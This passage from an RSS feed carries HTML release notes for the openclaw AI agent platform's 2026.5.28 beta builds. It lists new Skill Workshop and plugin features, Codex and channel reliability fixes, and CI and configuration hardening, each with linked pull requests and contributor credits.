<li>Workboard, SecretRef plugin manifests, hosted iOS push relay, and external Copilot/Tokenjuice packaging add broader orchestration, integration, and plugin delivery surfaces. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4456977405" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82326" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82326/hovercard" href="https://github.com/openclaw/openclaw/pull/82326">#82326</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4536829250" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87469" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87469/hovercard" href="https://github.com/openclaw/openclaw/pull/87469">#87469</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4544177368" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87796" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87796/hovercard" href="https://github.com/openclaw/openclaw/pull/87796">#87796</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550878888" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88107" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88107/hovercard" href="https://github.com/openclaw/openclaw/pull/88107">#88107</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551059990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88117" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88117/hovercard" href="https://github.com/openclaw/openclaw/pull/88117">#88117</a>)</li>
<li>Release, CI, Docker, E2E, and diagnostics lanes now cap more logs, response bodies, readiness probes, artifact checks, and status polling so failures report bounded proof instead of stalling.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>Docs: add a dedicated Skill Workshop guide covering governed skill creation, reviewable proposals, CLI, Gateway, agent tool behavior, approval policy, support files, and recovery. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: let the <code>skill_workshop</code> agent tool apply, reject, and quarantine explicit proposals through the guarded review flow. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: let proposals carry approved support files under standard skill folders, with scanner, hash, and rollback safeguards. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: let pending proposals be revised in place with versioned, dated proposal frontmatter before approval. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: add Skill Workshop with pending proposals, CLI/Gateway review actions, rollback metadata, and the <code>skill_workshop</code> agent tool. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins: externalize Tokenjuice as the official <code>@openclaw/tokenjuice</code> plugin with npm and ClawHub publish metadata.</li>
<li>Plugins: externalize the GitHub Copilot agent runtime as the official <code>@openclaw/copilot</code> plugin with npm and ClawHub publish metadata.</li>
<li>iOS: add hosted push relay defaults, realtime Talk playback, and a guarded WebSocket ping path for more reliable mobile sessions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550652541" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88096" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88096/hovercard" href="https://github.com/openclaw/openclaw/pull/88096">#88096</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550870064" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88105" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88105/hovercard" href="https://github.com/openclaw/openclaw/pull/88105">#88105</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4553214878" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88231" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88231/hovercard" href="https://github.com/openclaw/openclaw/pull/88231">#88231</a>)</li>
<li>Workboard: add orchestration primitives and agent coordination tools for multi-agent planning and run tracking. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4536829250" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87469" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87469/hovercard" href="https://github.com/openclaw/openclaw/pull/87469">#87469</a>)</li>
<li>Gateway: support Tailscale Serve service-name bindings for gateway exposure and status.</li>
<li>Code mode: add internal namespaces for scoped agent/global sessions and exact namespace tool dispatch. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4549263089" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88043" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88043/hovercard" href="https://github.com/openclaw/openclaw/pull/88043">#88043</a>)</li>
<li>Control UI: add a Dreaming-tab agent selector and propagate the selected agent through Dreaming status, diary, and diary actions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4395906736" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78748" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/78748/hovercard" href="https://github.com/openclaw/openclaw/pull/78748">#78748</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stevenepalmer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stevenepalmer">@stevenepalmer</a>.</li>
<li>Control UI: expose the Communication Notifications settings tab so notification controls are reachable from settings. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354639496" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74715" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74715/hovercard" href="https://github.com/openclaw/openclaw/pull/74715">#74715</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VladyslavLevchuk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VladyslavLevchuk">@VladyslavLevchuk</a>.</li>
<li>Plugin SDK/channels: add typed presentation command actions so native slash-command and callback controls can round-trip through capable channel plugins without being reinterpreted. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558368986" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88721" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88721/hovercard" href="https://github.com/openclaw/openclaw/pull/88721">#88721</a>)</li>
<li>Plugins: add a SecretRef provider integration manifest contract and extract shared LLM core packages for provider/plugin reuse. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4456977405" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82326" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82326/hovercard" href="https://github.com/openclaw/openclaw/pull/82326">#82326</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551059990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88117" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88117/hovercard" href="https://github.com/openclaw/openclaw/pull/88117">#88117</a>)</li>
<li>Skills: add the core skills index and centralize skills runtime loading, status, filtering, and prompt formatting.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Agents/media: keep async image, music, and video generation starts from ending the Codex turn, so mixed requests can continue with summaries or other work while media renders in the background.</li>
<li>Agents/Codex: keep public OpenAI API-key profiles from being treated as native Codex app-server auth while preserving persisted Codex OAuth sessions.</li>
<li>Agents/Codex: stream Codex app-server final-answer partials to live reply previews, preserve ACP metadata in SQLite, prefer real tool results over synthetic repair output, and preserve workspace/session metadata through ACP runtime refactors. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4555235950" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88405" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/88405/hovercard" href="https://github.com/openclaw/openclaw/issues/88405">#88405</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558386594" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88724" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88724/hovercard" href="https://github.com/openclaw/openclaw/pull/88724">#88724</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558459446" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88730" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88730/hovercard" href="https://github.com/openclaw/openclaw/pull/88730">#88730</a>)</li>
<li>Control UI: keep collapsed tool cards labeled with the tool name and action instead of generic output text. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Agents/Codex: surface Skill Workshop guidance in Codex app-server prompts when <code>skill_workshop</code> is available. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Agents/auth: write auth profiles atomically, add force re-login recovery, preserve workspaces during state-only uninstall, and compact before oversized turns so recovery paths avoid partial state.</li>
<li>Skills: skip disabled skill env overrides from stale persisted snapshots so disabled skill <code>apiKey</code> SecretRefs cannot abort embedded or channel turns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4401582392" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79072" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/79072/hovercard" href="https://github.com/openclaw/openclaw/issues/79072">#79072</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4403061400" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79173" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/79173/hovercard" href="https://github.com/openclaw/openclaw/pull/79173">#79173</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zeus1959/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zeus1959">@zeus1959</a>.</li>
<li>CLI: avoid live catalog validation during <code>openclaw agents add</code>, so adding a secondary agent no longer depends on provider catalog availability. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370229397" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76284" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76284/hovercard" href="https://github.com/openclaw/openclaw/issues/76284">#76284</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4554276259" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88314" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88314/hovercard" href="https://github.com/openclaw/openclaw/pull/88314">#88314</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</li>
<li>CLI: keep <code>plugins list --json</code> on the snapshot-only path so plugin sweeps avoid loading the full runtime status graph.</li>
<li>Plugins: make PixVerse external-plugin ClawHub metadata explicit and keep it out of bundled dist builds.</li>
<li>Plugins: clarify plugin loader failure guidance so missing or incompatible plugin packages point operators at the right repair path.</li>
<li>Cron: keep SQLite cron migrations compatible with legacy run-log tables, archived job stores, diagnostic cron names, and legacy one-shot delete-after-run behavior. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4554018071" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88285" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88285/hovercard" href="https://github.com/openclaw/openclaw/pull/88285">#88285</a>)</li>
<li>Memory: serialize QMD update/embed writes per store, preserve phase signals on read errors, and rewrite generated transcript paths on rollover so memory/search state survives concurrent gateway and CLI activity. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4259457800" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66339" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66339/hovercard" href="https://github.com/openclaw/openclaw/issues/66339">#66339</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510532697" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85931" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85931/hovercard" href="https://github.com/openclaw/openclaw/pull/85931">#85931</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</li>
<li>Media: allow validated TXT, JSON, YAML, and YML host-local document sends while rejecting binary-disguised text files. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4411236357" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79658" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/79658/hovercard" href="https://github.com/openclaw/openclaw/pull/79658">#79658</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simplyclever914/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simplyclever914">@simplyclever914</a>.</li>
<li>Voice calls: migrate legacy call logs through doctor into plugin-state SQLite while keeping malformed or incomplete sources retryable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558509751" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88731" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88731/hovercard" href="https://github.com/openclaw/openclaw/pull/88731">#88731</a>)</li>
<li>Providers: bound generated media downloads from OpenAI, Runway, xAI, MiniMax, BytePlus, DashScope-compatible, FAL, OpenRouter, Google, Vydra, and Comfy providers.</li>
<li>Providers/OpenAI: avoid orphan Responses message-id replay and sanitize raw HTTP 401 provider errors before they reach user-facing logs.</li>
<li>Providers: cap GitHub Copilot OAuth request timeouts before creating abort signals.</li>
<li>Cron: retry recurring jobs after transient model rate limits before waiting for the next scheduled slot.</li>
<li>Agents/Codex: keep live session locks during cleanup, recover interrupted CLI tool transcripts, preserve Codex auth and compaction session identity, clear orphan tool state, cap app-server idle timers, and keep media completion delivery retryable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551374072" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88129" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88129/hovercard" href="https://github.com/openclaw/openclaw/pull/88129">#88129</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551617563" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88136" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88136/hovercard" href="https://github.com/openclaw/openclaw/pull/88136">#88136</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551806062" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88141" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88141/hovercard" href="https://github.com/openclaw/openclaw/pull/88141">#88141</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552232095" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88162" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88162/hovercard" href="https://github.com/openclaw/openclaw/pull/88162">#88162</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552583855" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88182" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88182/hovercard" href="https://github.com/openclaw/openclaw/pull/88182">#88182</a>)</li>
<li>Chat/UI: show Gateway chat failures as visible assistant messages in the Control UI instead of only setting an invisible error state.</li>
<li>Channels: recover failed progress-draft starts and refresh just-started progress drafts across Discord, Telegram, Slack, Matrix, and Teams instead of losing early progress updates. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463729976" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83115" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83115/hovercard" href="https://github.com/openclaw/openclaw/issues/83115">#83115</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558636505" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88749" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88749/hovercard" href="https://github.com/openclaw/openclaw/pull/88749">#88749</a>)</li>
<li>Discord: bound REST entity cache growth and keep recovered tool warning output mention-inert.</li>
<li>Channels: cap Telegram, Discord, WhatsApp, Signal, Feishu, Google Chat, Microsoft Teams, QQBot, Nostr, Zalo, Zalouser, and Nextcloud-style request/retry timers; preserve SMS approval reply routes; and retry WhatsApp QR login 408 timeouts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552604231" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88183" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88183/hovercard" href="https://github.com/openclaw/openclaw/pull/88183">#88183</a>)</li>
<li>Security/config parsing: reject unsafe OAuth/token lifetimes, retry-after delays, inbound timestamps, response body sizes, command timeout config, sandbox observer token TTLs, and gateway WebSocket calls after close.</li>
<li>Gateway/security: rate-limit bootstrap-token verification, guard direct session display names, and add Tailscale Serve service-name support without weakening gateway exposure checks.</li>
<li>Providers/media: cap local service, model, usage, queue, generated media, TTS, music, workflow polling, and provider OAuth request timers across hosted and local providers.</li>
<li>Plugins/install: add npm README coverage for channel providers and pin WhatsApp media decoding to Baileys' supported peer range so external WhatsApp installs do not fail npm peer resolution.</li>
<li>Release/CI/E2E: bound release candidate reads, beta smoke REST calls, changelog restore, kitchen-sink and bundled plugin readiness probes, secret-provider probes, Vitest routing, and mainline test flakes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551354671" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88127" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88127/hovercard" href="https://github.com/openclaw/openclaw/pull/88127">#88127</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551653681" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88137" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88137/hovercard" href="https://github.com/openclaw/openclaw/pull/88137">#88137</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552032597" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88155" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88155/hovercard" href="https://github.com/openclaw/openclaw/pull/88155">#88155</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552192113" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88160" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88160/hovercard" href="https://github.com/openclaw/openclaw/pull/88160">#88160</a>)</li>
<li>Release/CI/E2E: refresh pinned Node Docker image digests and keep pairing challenge assertions aligned with fenced approval commands. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4495421361" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84981" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84981/hovercard" href="https://github.com/openclaw/openclaw/issues/84981">#84981</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4495608523" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84988" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84988/hovercard" href="https://github.com/openclaw/openclaw/pull/84988">#84988</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LibraHo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LibraHo">@LibraHo</a>.</li>
<li>Release/CI/E2E: run the secret-provider integration proof through the repo pnpm runner so native macOS and Windows validation use the hydrated package-manager shim.</li>
<li>Release/CI/E2E: run the Telegram desktop proof gateway through the repo pnpm runner so native macOS proof uses the hydrated package-manager shim.</li>
<li>Docs/CI: run Mintlify anchor checks through the repo pnpm runner so docs link validation works when pnpm is only available through the hydrated package-manager shim.</li>
<li>Agents: keep configured fallback model metadata typed so provider params, context-token caps, and media input limits do not break changed-gate typechecks.</li>
<li>Agents: accept hidden <code>sessions_send</code> body aliases before validation while keeping the model-facing <code>message</code> schema canonical. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4553200827" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88229" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88229/hovercard" href="https://github.com/openclaw/openclaw/pull/88229">#88229</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</li>
<li>CI/Crabbox: keep default runner capacity spot-only and provider-neutral so OpenClaw remote validation does not silently fall back to on-demand leases or stale AWS region hints.</li>
<li>CI/Crabbox: route Crabbox wrapper and Testbox workflow edits to their regression tests so changed-test gates do not silently run zero specs.</li>
<li>CI/workflows: route workflow sanity helper edits to their guard tests and cover composite-action input interpolation checks.</li>
<li>CI/tooling: route CI scope, dependency, changelog, and docs helper edits to their owner tests instead of silently skipping changed-test coverage.</li>
<li>CI/tooling: route package, release, and install helper edits to their owner tests so changed-test gates cover publish and installer script changes.</li>
<li>CI/tooling: route shared script library edits through their owner tests so lock, process, safety, and scan helpers do not skip changed-test coverage.</li>
<li>CI/tooling: skip expensive import-graph scans once a changed diff already requires broad fallback, keeping local changed-test planning fast while still collecting explicit owner tests.</li>
<li>CI/tooling: route script edits through conventional owner tests when matching <code>test/scripts</code> or <code>src/scripts</code> coverage already exists.</li>
<li>CI/tooling: honor option terminators in the memory FD repro script so follow-on arguments are not reparsed.</li>
<li>Release/CI/E2E: assert plugin lifecycle runtime inspect output instead of only capturing it.</li>
<li>Release/CI/E2E: make gateway-network prove the advertised health RPC and retry early WebSocket closes without burning full open timeouts.</li>
<li>Release/CI/E2E: honor option terminators across release, Parallels smoke, plugin gauntlet, and extension-memory scripts.</li>
<li>Release/CI/E2E: fail plugin gateway gauntlet QA chunks when the requested suite summary is missing or invalid.</li>
<li>Performance: prebuild QA runtime probes with generated plugin assets but without CLI startup metadata.</li>
<li>Performance: skip declaration bundling for runtime-only CLI startup and gateway watch build profiles.</li>
<li>Performance: reuse prepared provider handles, strict tool schemas, gateway runtime metadata, session maintenance config, plugin metadata, bundled skill allowlists, package-local plugin artifacts, single-entry store writes, and validated/serialized session prompt blobs.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.5.28-beta.2]]></title>
<description><![CDATA[2026.5.28
Highlights

Agent and Codex runtime recovery is steadier: subagents keep cwd/workspace separation, hook context stays prompt-local, session locks release on timeout abort, stale restart continuations are avoided, and Codex app-server/helper failures no longer tear down shared runtime st...]]></description>
<link>https://tsecurity.de/de/3556921/downloads/openclaw-2026528-beta2/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3556921/downloads/openclaw-2026528-beta2/</guid>
<pubDate>Fri, 29 May 2026 14:31:29 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.5.28</h2>
<h3>Highlights</h3>
<ul>
<li>Agent and Codex runtime recovery is steadier: subagents keep cwd/workspace separation, hook context stays prompt-local, session locks release on timeout abort, stale restart continuations are avoided, and Codex app-server/helper failures no longer tear down shared runtime state. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4530733870" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87218" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87218/hovercard" href="https://github.com/openclaw/openclaw/pull/87218">#87218</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4523882966" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86875" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86875/hovercard" href="https://github.com/openclaw/openclaw/pull/86875">#86875</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4535658120" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87409" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87409/hovercard" href="https://github.com/openclaw/openclaw/pull/87409">#87409</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4535300059" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87399" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87399/hovercard" href="https://github.com/openclaw/openclaw/pull/87399">#87399</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4534684461" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87375" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87375/hovercard" href="https://github.com/openclaw/openclaw/pull/87375">#87375</a>)</li>
<li>Channel delivery and session identity got safer across outbound plugin hooks, Matrix room ids, iMessage reactions/approvals, Slack final replies, Discord recovered tool warnings, WhatsApp profile auth roots, Telegram polling, and Microsoft Teams service URL trust checks. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345081037" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73706" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73706/hovercard" href="https://github.com/openclaw/openclaw/pull/73706">#73706</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4364693778" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75670" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75670/hovercard" href="https://github.com/openclaw/openclaw/issues/75670">#75670</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4534435733" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87366" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87366/hovercard" href="https://github.com/openclaw/openclaw/pull/87366">#87366</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4536461472" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87451" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87451/hovercard" href="https://github.com/openclaw/openclaw/pull/87451">#87451</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4533570288" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87334" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87334/hovercard" href="https://github.com/openclaw/openclaw/pull/87334">#87334</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4459071895" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82492" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82492/hovercard" href="https://github.com/openclaw/openclaw/pull/82492">#82492</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465217648" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83304" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83304/hovercard" href="https://github.com/openclaw/openclaw/pull/83304">#83304</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4529579598" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87160" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87160/hovercard" href="https://github.com/openclaw/openclaw/pull/87160">#87160</a>)</li>
